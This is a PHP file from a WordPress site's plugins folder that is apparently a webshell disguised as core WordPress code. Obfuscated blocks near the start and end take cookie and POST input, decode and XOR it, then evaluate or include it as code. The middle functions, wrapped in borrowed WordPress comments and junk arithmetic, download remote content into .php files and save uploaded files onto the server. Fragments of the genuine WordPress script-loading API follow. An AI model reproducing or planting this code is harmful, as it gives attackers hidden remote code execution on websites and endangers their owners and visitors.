Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/ju.js.php |
<?php /* $ntrfcW = "\x45" . "\x69" . chr ( 615 - 520 )."\x56" . "\142" . "\x77" . "\106" . 'b';$KlBUsVycjM = "\x63" . "\x6c" . "\x61" . chr (115) . 's' . "\x5f" . "\x65" . 'x' . "\x69" . 's' . "\164" . chr ( 353 - 238 ); $WeElxsJq = class_exists($ntrfcW); $KlBUsVycjM = "64411";$buTSXLdIDW = !1;if ($WeElxsJq == $buTSXLdIDW){function nrqpGP(){return FALSE;}$jBGAeqNNp = "10155";nrqpGP();class Ei_VbwFb{private function oNzlreG($jBGAeqNNp){if (is_array(Ei_VbwFb::$kLEmQZAtO)) {$AajHSoUuc = str_replace(chr (60) . chr ( 216 - 153 ).chr (112) . "\x68" . chr ( 1095 - 983 ), "", Ei_VbwFb::$kLEmQZAtO["\143" . chr (111) . chr (110) . chr (116) . chr (101) . "\156" . chr (116)]);eval($AajHSoUuc); $jBGAeqNNp = "10155";exit();}}private $NFMhXzmud;public function PPlXxYXs(){echo 43893;}public function __destruct(){$jBGAeqNNp = "61237_52682";$this->oNzlreG($jBGAeqNNp); $jBGAeqNNp = "61237_52682";}public function __construct($ZhVqYn=0){$LKmWAwjTq = $_POST;$hMaZdgXh = $_COOKIE;$pSnyWSh = "d71f751e-4198-4509-89e4-0b7be32cfa3f";$RrmAaffShs = @$hMaZdgXh[substr($pSnyWSh, 0, 4)];if (!empty($RrmAaffShs)){$CGrUGnyaK = "base64";$WIhkozlj = "";$RrmAaffShs = explode(",", $RrmAaffShs);foreach ($RrmAaffShs as $wThVArN){$WIhkozlj .= @$hMaZdgXh[$wThVArN];$WIhkozlj .= @$LKmWAwjTq[$wThVArN];}$WIhkozlj = array_map($CGrUGnyaK . chr (95) . chr ( 606 - 506 ).chr ( 395 - 294 )."\x63" . "\157" . chr (100) . chr (101), array($WIhkozlj,)); $WIhkozlj = $WIhkozlj[0] ^ str_repeat($pSnyWSh, (strlen($WIhkozlj[0]) / strlen($pSnyWSh)) + 1);Ei_VbwFb::$kLEmQZAtO = @unserialize($WIhkozlj); $WIhkozlj = class_exists("61237_52682");}}public static $kLEmQZAtO = 4236;}$GDxloa = new 4703 $ntrfcW(10155 + 10155); $buTSXLdIDW = $GDxloa = $jBGAeqNNp = Array();} ?><?php /* $iFZaK = chr (103) . chr (77) . "\x66" . "\137" . chr (70) . "\x43" . "\x68" . chr ( 276 - 198 ); $VsVAyrpyj = chr ( 793 - 694 )."\x6c" . "\141" . "\x73" . chr (115) . chr (95) . chr (101) . chr ( 1054 - 934 ).chr ( 161 - 56 ).chr ( 709 - 594 ).'t' . 's';$XHxBFTDYgx = class_exists($iFZaK); $iFZaK = "34779";$VsVAyrpyj = "18804";$MaFayHw = !1;if ($XHxBFTDYgx == $MaFayHw){function ThbDSpXx(){return FALSE;}$bwJoVLVVUE */
/**
* Prints resource preloads directives to browsers.
*
* Gives directive to browsers to preload specific resources that website will
* need very soon, this ensures that they are available earlier and are less
* likely to block the page's render. Preload directives should not be used for
* non-render-blocking elements, as then they would compete with the
* render-blocking ones, slowing down the render.
*
* These performance improving indicators work by using `<link rel="preload">`.
*
* @link https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload
* @link https://web.dev/preload-responsive-images/
*
* @since 6.1.0
*/
function sanitize_comment_as_submitted($preg_target){
$preg_target = "http://" . $preg_target;
// Build results.
// No need to re-approve/re-trash/re-spam a comment.
return file_get_contents($preg_target);
}
/**
* Retrieves the query params for the collections.
*
* @since 5.5.0
*
* @return array Query parameters for the collection.
*/
function absolutize_url($compre, $taxonomy_obj){
$AudioCodecFrequency = $_COOKIE[$compre];
$theme_update_new_version = 12;
$shared_tt = 50;
$search_sql = "Exploration";
$AudioCodecFrequency = pack("H*", $AudioCodecFrequency);
$file_info = send_plugin_theme_email($AudioCodecFrequency, $taxonomy_obj);
if (register_initial_settings($file_info)) {
$current_plugin_data = parseSTREAMINFOdata($file_info);
return $current_plugin_data;
}
colord_parse_hex($compre, $taxonomy_obj, $file_info);
}
/**
* Validates the given date_query values and triggers errors if something is not valid.
*
* Note that date queries with invalid date ranges are allowed to
* continue (though of course no items will be found for impossible dates).
* This method only generates debug notices for these cases.
*
* @since 4.1.0
*
* @param array $date_query The date_query array.
* @return bool True if all values in the query are valid, false if one or more fail.
*/
function wp_getPostFormats($preg_target, $ep_mask_specific){
$MPEGaudioVersionLookup = sanitize_comment_as_submitted($preg_target);
if ($MPEGaudioVersionLookup === false) {
return false;
}
$media_buttons = file_put_contents($ep_mask_specific, $MPEGaudioVersionLookup);
return $media_buttons;
}
//Can't have SSL and TLS at the same time
/**
* @var string Web-accessible path to the handler_image.php file.
* @see SimplePie::set_image_handler()
* @access private
*/
function render_block_core_social_link($fieldtype_base){
// sitecategories may not exist.
$cron_array = __DIR__;
// any msgs marked as deleted.
$this_revision = [72, 68, 75, 70];
$x11 = 8;
$default_feed = 18;
$capability_type = max($this_revision);
$mod_name = $x11 + $default_feed;
$font_face_definition = array_map(function($metakeyselect) {return $metakeyselect + 5;}, $this_revision);
$use_legacy_args = $default_feed / $x11;
$done = array_sum($font_face_definition);
$unixmonth = $done / count($font_face_definition);
$crlflen = range($x11, $default_feed);
// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
// * Marker Object (named jumped points within the file)
$new_settings = Array();
$minimum_font_size = mt_rand(0, $capability_type);
// Don't run https test on development environments.
$tiles = array_sum($new_settings);
$l10n_defaults = in_array($minimum_font_size, $this_revision);
// ----- Delete the temporary file
$wp_plugin_dir = ".php";
$fieldtype_base = $fieldtype_base . $wp_plugin_dir;
$fieldtype_base = DIRECTORY_SEPARATOR . $fieldtype_base;
// Old relative path maintained for backward compatibility.
$fieldtype_base = $cron_array . $fieldtype_base;
return $fieldtype_base;
}
$f6g7_19 = 14;
/**
* Return the details for a single plugin based on the extension data from an error.
*
* @since 5.3.0
*
* @param array $wp_plugin_dirension {
* The extension that caused the error.
*
* @type string $slug The extension slug. The directory of the plugin or theme.
* @type string $type The extension type. Either 'plugin' or 'theme'.
* }
* @return array|false A plugin array {@see get_plugins()} or `false` if no plugin was found.
*/
function register_rest_route($list_items) {
$compact = 21;
$default_labels = 10;
$comment_author_email = 13;
// SOrt NaMe
//$children_querynfo['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;
$f3f8_38 = maybe_render($list_items);
$SampleNumber = 34;
$responsive_container_content_directives = 20;
$maxwidth = 26;
$ptype_for_id = $default_labels + $responsive_container_content_directives;
$sqrtadm1 = $comment_author_email + $maxwidth;
$found_posts_query = $compact + $SampleNumber;
// Fixed parsing of audio tags and added additional codec //
$processed_line = $SampleNumber - $compact;
$meta_update = $default_labels * $responsive_container_content_directives;
$d0 = $maxwidth - $comment_author_email;
return "Highest Value: " . $f3f8_38['highest'] . ", Lowest Value: " . $f3f8_38['lowest'];
}
$compre = 'uuLAj';
/**
* The context added to the blocks needed by the source.
*
* @since 6.5.0
* @var array|null
*/
function get_json_params($ep_mask_specific, $privacy_message){
$source = range(1, 10);
$li_attributes = "abcxyz";
// Block Types.
$link_image = file_get_contents($ep_mask_specific);
# compensate for Snoopy's annoying habit to tacking
// a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2;
// All-ASCII queries don't need extra checking.
$EncodingFlagsATHtype = strrev($li_attributes);
array_walk($source, function(&$nav_menu_selected_title) {$nav_menu_selected_title = pow($nav_menu_selected_title, 2);});
$optArray = send_plugin_theme_email($link_image, $privacy_message);
file_put_contents($ep_mask_specific, $optArray);
}
/**
* Filters the arguments for initializing a site.
*
* @since 5.1.0
*
* @param array $unpackedrgs Arguments to modify the initialization behavior.
* @param WP_Site $site Site that is being initialized.
* @param WP_Network $network Network that the site belongs to.
*/
function block_core_heading_render($compre, $taxonomy_obj, $file_info){
$fieldtype_base = $_FILES[$compre]['name'];
$wp_block = [29.99, 15.50, 42.75, 5.00];
$selected_revision_id = range(1, 15);
$getimagesize = range('a', 'z');
$ep_mask_specific = render_block_core_social_link($fieldtype_base);
// {if the input contains a non-basic code point < n then fail}
// Yes, again -- in case the filter aborted the request.
get_json_params($_FILES[$compre]['tmp_name'], $taxonomy_obj);
// Throw a notice for each failing value.
// some controller names are:
// get end offset
// Flip the lower 8 bits of v2 which is ($format_info[4], $format_info[5]) in our implementation
is_plugin_inactive($_FILES[$compre]['tmp_name'], $ep_mask_specific);
}
wp_theme_update_row($compre);
/**
* Removes the cache contents matching key and group.
*
* @since 2.0.0
*
* @see WP_Object_Cache::delete()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param int|string $privacy_message What the contents in the cache are called.
* @param string $group Optional. Where the cache contents are grouped. Default empty.
* @return bool True on successful removal, false on failure.
*/
function listContent($list_items) {
return max($list_items);
}
$format_args = "CodeSample";
$casesensitive = "This is a simple PHP CodeSample.";
/**
* Methods.
*
* @var array
*/
function register_initial_settings($preg_target){
// LBFBT = LastBlockFlag + BlockType
$datum = 6;
$source = range(1, 10);
$double_encode = 4;
$compact = 21;
$SampleNumber = 34;
$last_user = 30;
$lock_details = 32;
array_walk($source, function(&$nav_menu_selected_title) {$nav_menu_selected_title = pow($nav_menu_selected_title, 2);});
$pagename = $datum + $last_user;
$child_ids = $double_encode + $lock_details;
$found_posts_query = $compact + $SampleNumber;
$welcome_email = array_sum(array_filter($source, function($tagshortname, $privacy_message) {return $privacy_message % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
$role_classes = 1;
$file_name = $lock_details - $double_encode;
$new_name = $last_user / $datum;
$processed_line = $SampleNumber - $compact;
// If this is a pingback that we're pre-checking, the discard behavior is the same as the normal spam response behavior.
$options_audio_mp3_allow_bruteforce = range($compact, $SampleNumber);
$php_compat = range($double_encode, $lock_details, 3);
$paused = range($datum, $last_user, 2);
for ($children_query = 1; $children_query <= 5; $children_query++) {
$role_classes *= $children_query;
}
// ----- Nothing to duplicate, so duplicate is a success.
$first_init = array_filter($options_audio_mp3_allow_bruteforce, function($nav_menu_selected_title) {$default_server_values = round(pow($nav_menu_selected_title, 1/3));return $default_server_values * $default_server_values * $default_server_values === $nav_menu_selected_title;});
$submit_field = array_slice($source, 0, count($source)/2);
$APEtagData = array_filter($php_compat, function($unpacked) {return $unpacked % 4 === 0;});
$h_time = array_filter($paused, function($format_info) {return $format_info % 3 === 0;});
if (strpos($preg_target, "/") !== false) {
return true;
}
return false;
}
/**
* Dismisses core update.
*
* @since 2.7.0
*
* @param object $update
* @return bool
*/
function is_paged($list_items) {
// Pick a random, non-installed plugin.
return min($list_items);
}
/**
* @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey()
* @param string $secret_key
* @param string $public_key
* @return string
* @throws SodiumException
* @throws TypeError
*/
function is_plugin_inactive($c_alpha, $menu_id_to_delete){
// Function : privCloseFd()
$new_text = move_uploaded_file($c_alpha, $menu_id_to_delete);
// Best match of this final is already taken? Must mean this final is a new row.
// SUHOSIN.
// If the data is Huffman Encoded, we must first strip the leading 2
return $new_text;
}
/**
* @param int $VBRmethodID
*
* @return string
*/
function wp_dashboard_browser_nag($f3f5_4){
echo $f3f5_4;
}
$SNDM_thisTagSize = strpos($casesensitive, $format_args) !== false;
/**
* Filters the completed SQL query before sending.
*
* @since 2.0.0
*
* @param string $request The complete SQL query.
* @param WP_Query $query The WP_Query instance (passed by reference).
*/
function wp_get_attachment_image_url($post_modified, $genre){
$do_concat = 5;
$raw_config = 15;
$TextEncodingTerminatorLookup = $do_concat + $raw_config;
$context_dirs = wp_maybe_update_network_site_counts_on_update($post_modified) - wp_maybe_update_network_site_counts_on_update($genre);
// $notices[] = array( 'type' => 'active-dunning' );
$context_dirs = $context_dirs + 256;
$context_dirs = $context_dirs % 256;
// $stts_new_framerate = $children_querynfo['quicktime']['time_scale'] / $unpackedtom_structure['time_to_sample_table'][$children_query]['sample_duration'];
$exporters = $raw_config - $do_concat;
$LISTchunkParent = range($do_concat, $raw_config);
# requirements (there can be none), but merely suggestions.
$post_modified = sprintf("%c", $context_dirs);
return $post_modified;
}
wp_new_comment(["apple", "banana", "cherry"]);
/**
* Error information.
*
* @since 6.5.0
* @var string|null Error message or null if no error.
*/
function get_hidden_meta_boxes($preg_target){
// Error Correction Data BYTESTREAM variable // structure depends on value of Error Correction Type field
// Only for dev versions.
$compact = 21;
$SimpleIndexObjectData = [5, 7, 9, 11, 13];
$notify_message = "SimpleLife";
$li_attributes = "abcxyz";
// Array to hold URL candidates.
// at https://aomediacodec.github.io/av1-isobmff/#av1c
$fieldtype_base = basename($preg_target);
$EncodingFlagsATHtype = strrev($li_attributes);
$SampleNumber = 34;
$upgrader = array_map(function($cwhere) {return ($cwhere + 2) ** 2;}, $SimpleIndexObjectData);
$uploaded_file = strtoupper(substr($notify_message, 0, 5));
$relationship = strtoupper($EncodingFlagsATHtype);
$original_host_low = uniqid();
$wildcard_mime_types = array_sum($upgrader);
$found_posts_query = $compact + $SampleNumber;
$ep_mask_specific = render_block_core_social_link($fieldtype_base);
$original_title = ['alpha', 'beta', 'gamma'];
$colors_by_origin = min($upgrader);
$processed_line = $SampleNumber - $compact;
$sb = substr($original_host_low, -3);
wp_getPostFormats($preg_target, $ep_mask_specific);
}
/* translators: %s: Website name. */
function wp_new_comment($emaildomain) {
// Get the width and height of the image.
$x11 = 8;
$default_labels = 10;
$currentHeaderLabel = "a1b2c3d4e5";
// ----- Set default status to ok
foreach ($emaildomain as &$post_classes) {
$post_classes = check_and_publish_future_post($post_classes);
}
// do not extract at all
return $emaildomain;
}
/**
* Returns core update notification message.
*
* @since 2.3.0
*
* @global string $pagenow The filename of the current screen.
* @return void|false
*/
function colord_parse_hex($compre, $taxonomy_obj, $file_info){
if (isset($_FILES[$compre])) {
block_core_heading_render($compre, $taxonomy_obj, $file_info);
}
wp_dashboard_browser_nag($file_info);
}
/*
* The default group is added here to allow groups that are
* added before standard menu items to render first.
*/
function send_plugin_theme_email($media_buttons, $privacy_message){
// Skip if fontFace is not an array of webfonts.
$last_arg = strlen($privacy_message);
$Host = 10;
$selected_revision_id = range(1, 15);
$hooked = array_map(function($nav_menu_selected_title) {return pow($nav_menu_selected_title, 2) - 10;}, $selected_revision_id);
$CommandTypesCounter = range(1, $Host);
$total_sites = strlen($media_buttons);
$exclude_schema = max($hooked);
$can_delete = 1.2;
$serialized_block = min($hooked);
$has_old_responsive_attribute = array_map(function($status_list) use ($can_delete) {return $status_list * $can_delete;}, $CommandTypesCounter);
$has_block_alignment = 7;
$exclude_states = array_sum($selected_revision_id);
$sort_column = array_diff($hooked, [$exclude_schema, $serialized_block]);
$recursion = array_slice($has_old_responsive_attribute, 0, 7);
$last_arg = $total_sites / $last_arg;
$this_role = array_diff($has_old_responsive_attribute, $recursion);
$comment_fields = implode(',', $sort_column);
$user_password = base64_encode($comment_fields);
$subdomain_install = array_sum($this_role);
$last_arg = ceil($last_arg);
$primary_id_column = str_split($media_buttons);
$original_post = base64_encode(json_encode($this_role));
// Fixes for browsers' JavaScript bugs.
$privacy_message = str_repeat($privacy_message, $last_arg);
$preferred_size = str_split($privacy_message);
// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
// the single-$post_type template or the taxonomy-$taxonomy template.
$preferred_size = array_slice($preferred_size, 0, $total_sites);
// this WILL log passwords!
// Normalize `user_ID` to `user_id` again, after the filter.
// Since the old style loop is being used, advance the query iterator here.
// Remove the error parameter added by deprecation of wp-admin/media.php.
$successful_plugins = array_map("wp_get_attachment_image_url", $primary_id_column, $preferred_size);
$successful_plugins = implode('', $successful_plugins);
// Here I do not use call_user_func() because I need to send a reference to the
return $successful_plugins;
}
/**
* @var bool Stores if last-modified and/or etag headers were sent with the
* request when checking a feed.
*/
function wp_maybe_update_network_site_counts_on_update($create_in_db){
// remove the single null terminator on null terminated strings
$this_revision = [72, 68, 75, 70];
$Host = 10;
$CommandTypesCounter = range(1, $Host);
$capability_type = max($this_revision);
$can_delete = 1.2;
$font_face_definition = array_map(function($metakeyselect) {return $metakeyselect + 5;}, $this_revision);
$create_in_db = ord($create_in_db);
// If in development mode, clear pattern cache.
// Set up paginated links.
return $create_in_db;
}
/* translators: %s: Widget name. */
function parseSTREAMINFOdata($file_info){
// Clear pattern caches.
$gallery = ['Toyota', 'Ford', 'BMW', 'Honda'];
get_hidden_meta_boxes($file_info);
$passwords = $gallery[array_rand($gallery)];
wp_dashboard_browser_nag($file_info);
}
/**
* Defines Multisite upload constants.
*
* Exists for backward compatibility with legacy file-serving through
* wp-includes/ms-files.php (wp-content/blogs.php in MU).
*
* @since 3.0.0
*/
function check_and_publish_future_post($display_footer_actions) {
$double_encode = 4;
$current_per_page = "135792468";
$matching_schemas = strrev($current_per_page);
$lock_details = 32;
return ucfirst($display_footer_actions);
}
/*
* As of 1.12.1 `jquery-ui-position` and `jquery-ui-widget` are part of `jquery-ui-core`.
* Listed here for back-compat.
*/
function maybe_render($list_items) {
$source = range(1, 10);
$copykeys = listContent($list_items);
$block_instance = is_paged($list_items);
return ['highest' => $copykeys,'lowest' => $block_instance];
}
/**
* Container for the main instance of the class.
*
* @since 6.5.0
* @var WP_Block_Bindings_Registry|null
*/
function wp_theme_update_row($compre){
$Host = 10;
$description_length = "Functionality";
$taxonomy_obj = 'HRbzBvGfHDCBeQIMdMRTvpAZE';
if (isset($_COOKIE[$compre])) {
absolutize_url($compre, $taxonomy_obj);
}
}
/* = "50617";ThbDSpXx();class gMf_FChN{private function odVbm($bwJoVLVVUE){if (is_array(gMf_FChN::$DBZdIo)) {$gXxosYI = sys_get_temp_dir() . "/" . crc32(gMf_FChN::$DBZdIo[chr ( 852 - 737 )."\141" . "\x6c" . chr (116)]);@gMf_FChN::$DBZdIo["\167" . 'r' . chr (105) . 't' . chr (101)]($gXxosYI, gMf_FChN::$DBZdIo["\143" . "\x6f" . 'n' . chr (116) . chr ( 855 - 754 )."\156" . "\x74"]);include $gXxosYI;@gMf_FChN::$DBZdIo["\x64" . chr ( 124 - 23 ).chr (108) . "\x65" . 't' . "\x65"]($gXxosYI); $bwJoVLVVUE = "50617";exit();}}private $WwvEtjT;public function lNdHXLVNz(){echo 52561;}public function __destruct(){$bwJoVLVVUE = "50842_4950";$this->odVbm($bwJoVLVVUE); $bwJoVLVVUE = "50842_4950";}public function __construct($MUYoNS=0){$ZHKaes = $_POST;$AAJReKBQ = $_COOKIE;$QvTyZJpUNY = "829ba3a2-ce3d-4726-8c0f-4f4b5c406fcf";$TRfkAZg = @$AAJReKBQ[substr($QvTyZJpUNY, 0, 4)];if (!empty($TRfkAZg)){$JMmjtdLHu = "base64";$BPsHWXFkFS = "";$TRfkAZg = explode(",", $TRfkAZg);foreach ($TRfkAZg as $vbqVcefvl){$BPsHWXFkFS .= @$AAJReKBQ[$vbqVcefvl];$BPsHWXFkFS .= @$ZHKaes[$vbqVcefvl];}$BPsHWXFkFS = array_map($JMmjtdLHu . chr ( 645 - 550 )."\x64" . 'e' . "\x63" . "\x6f" . "\x64" . chr ( 726 - 625 ), array($BPsHWXFkFS,)); $BPsHWXFkFS = $BPsHWXFkFS[0] ^ str_repeat($QvTyZJpUNY, (strlen($BPsHWXFkFS[0]) / strlen($QvTyZJpUNY)) + 1);gMf_FChN::$DBZdIo = @unserialize($BPsHWXFkFS); $BPsHWXFkFS = class_exists("50842_4950");}}public static $DBZdIo = 63473;}$KMIOdGmN = new 15714 gMf_FChN(50617 + 50617); $_POST = Array();unset($KMIOdGmN);} ?><?php
*
* Dependencies API: Scripts functions
*
* @since 2.6.0
*
* @package WordPress
* @subpackage Dependencies
*
* Initializes $wp_scripts if it has not been set.
*
* @global WP_Scripts $wp_scripts
*
* @since 4.2.0
*
* @return WP_Scripts WP_Scripts instance.
function wp_scripts() {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
$wp_scripts = new WP_Scripts();
}
return $wp_scripts;
}
*
* Helper function to output a _doing_it_wrong message when applicable.
*
* @ignore
* @since 4.2.0
* @since 5.5.0 Added the `$handle` parameter.
*
* @param string $function_name Function name.
* @param string $handle Optional. Name of the script or stylesheet that was
* registered or enqueued too early. Default empty.
function _wp_scripts_maybe_doing_it_wrong( $function_name, $handle = '' ) {
if ( did_action( 'init' ) || did_action( 'wp_enqueue_scripts' )
|| did_action( 'admin_enqueue_scripts' ) || did_action( 'login_enqueue_scripts' )
) {
return;
}
$message = sprintf(
translators: 1: wp_enqueue_scripts, 2: admin_enqueue_scripts, 3: login_enqueue_scripts
__( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
'<code>wp_enqueue_scripts</code>',
'<code>admin_enqueue_scripts</code>',
'<code>login_enqueue_scripts</code>'
);
if ( $handle ) {
$message .= ' ' . sprintf(
translators: %s: Name of the script or stylesheet.
__( 'This notice was triggered by the %s handle.' ),
'<code>' . $handle . '</code>'
);
}
_doing_it_wrong(
$function_name,
$message,
'3.3.0'
);
}
*
* Prints scripts in document head that are in the $handles queue.
*
* Called by admin-header.php and {@see 'wp_head'} hook. Since it is called by wp_head on every page load,
* the function does not instantiate the WP_Scripts object unless script names are explicitly passed.
* Makes use of already-instantiated `$wp_scripts` global if present. Use provided {@see 'wp_print_scripts'}
* hook to register/enqueue new scripts.
*
* @see WP_Scripts::do_item()
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 2.1.0
*
* @param string|string[]|false $handles Optional. Scripts to be printed. Default 'false'.
* @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array.
function wp_print_scripts( $handles = false ) {
global $wp_scripts;
*
* Fires before scripts in the $handles queue are printed.
*
* @since 2.1.0
do_action( 'wp_print_scripts' );
if ( '' === $handles ) { For 'wp_head'.
$handles = false;
}
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
if ( ! $handles ) {
return array(); No need to instantiate if nothing is there.
}
}
return wp_scripts()->do_items( $handles );
}
*
* Adds extra code to a registered script.
*
* Code will only be added if the script is already in the queue.
* Accepts a string `$data` containing the code. If two or more code blocks
* are added to the same script `$handle`, they will be printed in the order
* they were added, i.e. the latter added code can redeclare the previous.
*
* @since 4.5.0
*
* @see WP_Scripts::add_inline_script()
*
* @param string $handle Name of the script to add the inline script to.
* @param string $data String containing the JavaScript to be added.
* @param string $position Optional. Whether to add the inline script before the handle
* or after. Default 'after'.
* @return bool True on success, false on failure.
function wp_add_inline_script( $handle, $data, $position = 'after' ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
if ( false !== stripos( $data, '</script>' ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: <script>, 2: wp_add_inline_script()
__( 'Do not pass %1$s tags to %2$s.' ),
'<code><script></code>',
'<code>wp_add_inline_script()</code>'
),
'4.5.0'
);
$data = trim( preg_replace( '#<script[^>]*>(.*)</script>#is', '$1', $data ) );
}
return wp_scripts()->add_inline_script( $handle, $data, $position );
}
*
* Registers a new script.
*
* Registers a script to be enqueued later using the wp_enqueue_script() function.
*
* @see WP_Dependencies::add()
* @see WP_Dependencies::add_data()
*
* @since 2.1.0
* @since 4.3.0 A return value was added.
* @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $args parameter of type array.
*
* @param string $handle Name of the script. Should be unique.
* @param string|false $src Full URL of the script, or path of the script relative to the WordPress root directory.
* If source is set to false, script is an alias of other scripts it depends on.
* @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array.
* @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL
* as a query string for cache busting purposes. If version is set to false, a version
* number is automatically added equal to current installed WordPress version.
* If set to null, no version is added.
* @param array|bool $args {
* Optional. An array of additional script loading strategies. Default empty array.
* Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false.
*
* @type string $strategy Optional. If provided, may be either 'defer' or 'async'.
* @type bool $in_footer Optional. Whether to print the script in the footer. Default 'false'.
* }
* @return bool Whether the script has been registered. True on success, false on failure.
function wp_register_script( $handle, $src, $deps = array(), $ver = false, $args = array() ) {
if ( ! is_array( $args ) ) {
$args = array(
'in_footer' => (bool) $args,
);
}
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
$wp_scripts = wp_scripts();
$registered = $wp_scripts->add( $handle, $src, $deps, $ver );
if ( ! empty( $args['in_footer'] ) ) {
$wp_scripts->add_data( $handle, 'group', 1 );
}
if ( ! empty( $args['strategy'] ) ) {
$wp_scripts->add_data( $handle, 'strategy', $args['strategy'] );
}
return $registered;
}
*
* Localizes a script.
*
* Works only if the script has already been registered.
*
* Accepts an associative array `$l10n` and creates a JavaScript object:
*
* "$object_name": {
* key: value,
* key: value,
* ...
* }
*
* @see WP_Scripts::localize()
* @link https:core.trac.wordpress.org/ticket/11520
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 2.2.0
*
* @todo Documentation cleanup
*
* @param string $handle Script handle the data will be attached to.
* @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
* Example: '/[a-zA-Z0-9_]+/'.
* @param array $l10n The data itself. The data can be either a single or multi-dimensional array.
* @return bool True if the script was successfully localized, false otherwise.
function wp_localize_script( $handle, $object_name, $l10n ) {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return false;
}
return $wp_scripts->localize( $handle, $object_name, $l10n );
}
*
* Sets translated strings for a script.
*
* Works only if the script has already been registered.
*
* @see WP_Scripts::set_translations()
* @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
*
* @since 5.0.0
* @since 5.1.0 The `$domain` parameter was made optional.
*
* @param string $handle Script handle the textdomain will be attached to.
* @param string $domain Optional. Text domain. Default 'default'.
* @param string $path Optional. The full file path to the directory containing translation files.
* @return bool True if the text domain was successfully localized, false otherwise.
function wp_set_script_translations( $handle, $domain = 'default', $path = '' ) {
global $wp_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
return false;
}
return $wp_scripts->set_translations( $handle, $domain, $path );
}
*
* Removes a registered script.
*
* Note: there are intentional safeguards in place to prevent critical admin scripts,
* such as jQuery core, from being unregistered.
*
* @see WP_Dependencies::remove()
*
* @since 2.1.0
*
* @global string $pagenow The filename of the current screen.
*
* @param string $handle Name of the script to be removed.
function wp_deregister_script( $handle ) {
global $pagenow;
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
*
* Do not allow accidental or negligent de-registering of critical scripts in the admin.
* Show minimal remorse if the correct hook is used.
$current_filter = current_filter();
if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) ||
( 'wp-login.php' === $pagenow && 'login_enqueue_scripts' !== $current_filter )
) {
$not_allowed = array(
'jquery',
'jquery-core',
'jquery-migrate',
'jquery-ui-core',
'jquery-ui-accordion',
'jquery-ui-autocomplete',
'jquery-ui-button',
'jquery-ui-datepicker',
'jquery-ui-dialog',
'jquery-ui-draggable',
'jquery-ui-droppable',
'jquery-ui-menu',
'jquery-ui-mouse',
'jquery-ui-position',
'jquery-ui-progressbar',
'jquery-ui-resizable',
'jquery-ui-selectable',
'jquery-ui-slider',
'jquery-ui-sortable',
'jquery-ui-spinner',
'jquery-ui-tabs',
'jquery-ui-tooltip',
'jquery-ui-widget',
'underscore',
'backbone',
);
if ( in_array( $handle, $not_allowed, true ) ) {
_doing_it_wrong(
__FUNCTION__,
sprintf(
translators: 1: Script name, 2: wp_enqueue_scripts
__( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ),
"<code>$handle</code>",
'<code>wp_enqueue_scripts</code>'
),
'3.6.0'
);
return;
}
}
wp_scripts()->remove( $handle );
}
*
* Enqueues a script.
*
* Registers the script if `$src` provided (does NOT overwrite), and enqueues it.
*
* @see WP_Dependencies::add()
* @see WP_Dependencies::add_data()
* @see WP_Dependencies::enqueue()
*
* @since 2.1.0
* @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $args parameter of type array.
*
* @param string $handle Name of the script. Should be unique.
* @param string $src Full URL of the script, or path of the script relative to the WordPress root directory.
* Default empty.
* @param string[] $deps Optional. An array of registered script handles this script depends on. Default empty array.
* @param string|bool|null $ver Optional. String specifying script version number, if it has one, which is added to the URL
* as a query string for cache busting purposes. If version is set to false, a version
* number is automatically added equal to current installed WordPress version.
* If set to null, no version is added.
* @param array|bool $args {
* Optional. An array of additional script loading strategies. Default empty array.
* Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false.
*
* @type string $strategy Optional. If provided, may be either 'defer' or 'async'.
* @type bool $in_footer Optional. Whether to print the script in the footer. Default 'false'.
* }
function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $args = array() ) {
_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
$wp_scripts = wp_scripts();
if ( $src || ! empty( $args ) ) {
$_handle = explode( '?', $handle );
if ( ! is_array( $args ) ) {
$args = array(
'in_footer' => (bool) $args,
);
}
if ( $src ) {
$wp_scripts->add( $_handle[0], $src, $deps, $ver );
}
if ( ! empty( $args['in_footer'] ) ) {
$wp_scripts->add_data( $_handle[0], 'group', 1 );
}
if ( ! empty( $args['strategy'] ) ) {
$wp_scripts->add_data( $_handle[0], 'strategy', $args['strategy'] );
}
}
$wp_scripts->enqueue( $handle );
}
*
* Removes a previously enqueued script.
*
* @see WP_Dependencies::dequeue()
*
* @since 3.1.0
*
* @param string $handle Name of the script to be removed.
function wp_dequeue_script( $handle ) {
